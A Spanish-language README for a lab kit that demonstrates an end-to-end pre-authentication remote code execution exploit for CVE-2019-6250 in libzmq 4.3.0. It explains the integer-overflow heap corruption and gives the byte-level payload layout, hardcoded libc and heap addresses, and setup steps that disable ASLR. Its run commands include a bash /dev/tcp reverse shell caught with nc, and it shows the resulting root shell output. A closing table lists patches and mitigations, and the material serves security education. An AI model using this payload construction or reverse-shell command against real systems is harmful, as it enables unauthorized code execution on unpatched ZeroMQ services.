
Laboratorio de RCE previo a la autenticación de extremo a extremo para CVE-2019-6250 (libzmq <= 4.3.0, protocolo de cable ZMTP/2.0)
Cadena RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-6250, el desbordamiento de búfer en el heap previo a la autenticación en v2_decoder_t::size_ready de libzmq. Un desbordamiento aritmético de puntero uint64_t permite que un par no autenticado sobrescriba el puntero a función msg_t::content_t::ffn adyacente en la ruta de transmisión ZMTP/2.0, y luego lo active mediante el cierre del socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).
Por Nicolas Krassas (@dinosn).
Solo para uso en laboratorio. Este kit incluye una versión intencionalmente vulnerable de libzmq 4.3.0. No expongas el puerto 5555 fuera del laboratorio. El error se corrigió hace siete años en libzmq 4.3.1 (commit
1a2ed127).
system() — prueba de archivo


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Deberías ver algo como:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
La línea cannot set terminal process group (1355844) confirma que la shell fue generada por el proceso objetivo de libzmq (PID 1355844), no por nada que hayas ejecutado localmente.
.
├── README.md # estás aquí
├── server.c # pequeño receptor PULL — el objetivo vulnerable
├── exploit.py # cadena RCE completa
├── setup.sh # provisionador para instalación directa (clona + compila libzmq 4.3.0)
├── start_server.sh # iniciar/reiniciar el objetivo
├── read_addresses.sh # regenerar el perfil de direcciones para una imagen diferente
├── run_lab_test.sh # prueba de humo automatizada de extremo a extremo (apta para CI)
├── Dockerfile # laboratorio contenerizado con un solo comando
└── screenshots/ # capturas de pantalla del README (generadas con charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ es el uint64_t big-endian controlado por el atacante del encabezado de trama LARGE de ZMTP/2.0. Con msg_size_ = 0xFFFFFFFFFFFFFFFF, la suma read_pos_ + msg_size_ se desborda módulo 2⁶⁴ y termina siendo menor que el lado derecho. La comprobación de límites se evalúa como falsa → la ejecución cae en la ruta de copia cero → el mensaje _in_progress alias el búfer de recepción. Luego, el decodificador solicita al kernel 0xFFFFFFFFFFFFFFFF bytes más en read_pos_, y recv() escribe felizmente nuestro payload más allá del final del búfer de recepción en el array content_t[] adyacente (asignado en el mismo bloque malloc() en decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Enviamos 8224 bytes de payload estructurados de la siguiente manera:
Cuando cerramos el socket TCP, ~v2_decoder_t() del servidor llama a _in_progress.close(). En msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage estableció _u.zclmsg.flags = 0, por lo que el atajo OR toma la rama inmediatamente — ni siquiera se verifica refcnt. Nuestro ffn sobrescrito se ejecuta.
Sin ROP, sin shellcode, sin fuga de información: solo una resolución de símbolo de libc y una cadena de comando en línea.
v2_decoder_t previo a la autenticaciónMirando stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
La ruta ZMTP/2.0 instancia v2_decoder_t sin mecanismo. Solo ZAP rechaza las conexiones 2.0, y ZAP está desactivado por defecto. Una vez que un par envía el saludo ZMTP/2.0 de 12 bytes (0xff + 8 nulos + 0x7f + revisión 0x01 + tipo de socket), cada byte subsiguiente es analizado por v2_decoder_t. Sin autenticación. Sin handshake. Sin máquina de estados del mecanismo.
Opcional: compila con -fsanitize=address y observa el informe de desbordamiento de búfer en el heap:

El mensaje 0 bytes after 18160-byte region confirma el tamaño del chunk que calculamos: 8 (atomic_counter) + 8192 (búfer de recepción) + 249 × 40 (array content_t) = 18160. El sitio de asignación en handshake_v2_0:719 confirma que el error se activa en la ruta ZMTP/2.0 previa a la autenticación.
Con kernel.randomize_va_space=0, la base de libc, la base de libzmq, el heap y el área malloc del hilo de E/S están en direcciones deterministas. El perfil predeterminado en exploit.py (DEFAULT_PROFILE) se captura para la compilación del laboratorio incluida (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 modo release -O2):
Al migrar a una compilación diferente de glibc / libzmq, ejecuta ./read_addresses.sh > profile.json después de start_server.sh, luego pasa --profile profile.json al exploit.
En un ataque real, necesitarías una primitiva de fuga de información o una llamada one-gadget que no requiera control de argumentos. Ambos están fuera del alcance de este laboratorio — el objetivo aquí es demostrar limpiamente el pipeline del error a la shell, no derrotar ASLR.
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas. El código fuente intencionalmente vulnerable de libzmq 4.3.0 se obtiene en tiempo de compilación del repositorio upstream LGPLv3-con-excepciones / MPLv2 — su licencia se aplica a ese código por separado.
Solo para investigación defensiva de seguridad, educación y pruebas de seguridad autorizadas. No implementes la compilación vulnerable incluida fuera de un entorno de laboratorio controlado.
| desplazamiento del payload | bytes | lo que sobrescribe |
|---|
[0:16] | padding | (en el búfer de recepción) |
[16:K] | cadena de comando + NUL | (en el búfer de recepción — argumento de system) |
[K:8183] | padding | (en el búfer de recepción) |
[8183:8191] | read_pos+16 | content_t[0].data (→ comando) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (objetivo del flujo de control) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
| campo | valor | fuente |
|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | derivado de la disposición |
cmd_offset | 16 | dónde en el payload colocamos el comando |
| Defensa | Efecto |
|---|
| Actualizar a libzmq ≥ 4.3.1 | Corregido. El commit 1a2ed127 reescribe la comprobación de límites como msg_size_ > size_t(allocator.data()+size()-read_pos_) — no es posible el desbordamiento. |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) con cualquier n positivo | Mitiga. Cortocircuita la comprobación de límites defectuosa antes de que pueda desbordarse. |
| Habilitar la autenticación ZAP | Bloquea las conexiones ZMTP/2.0 (rechazadas en stream_engine.cpp:709). No corrige el error; solo evita la ruta no autenticada. |
| ASLR | Ralentiza la creación de armas pero no la previene — la primitiva de la cadena en sí no se ve afectada. |
| Canarios de pila / NX / RELRO | Ninguno de estos protege contra un secuestro de puntero a función en el heap. |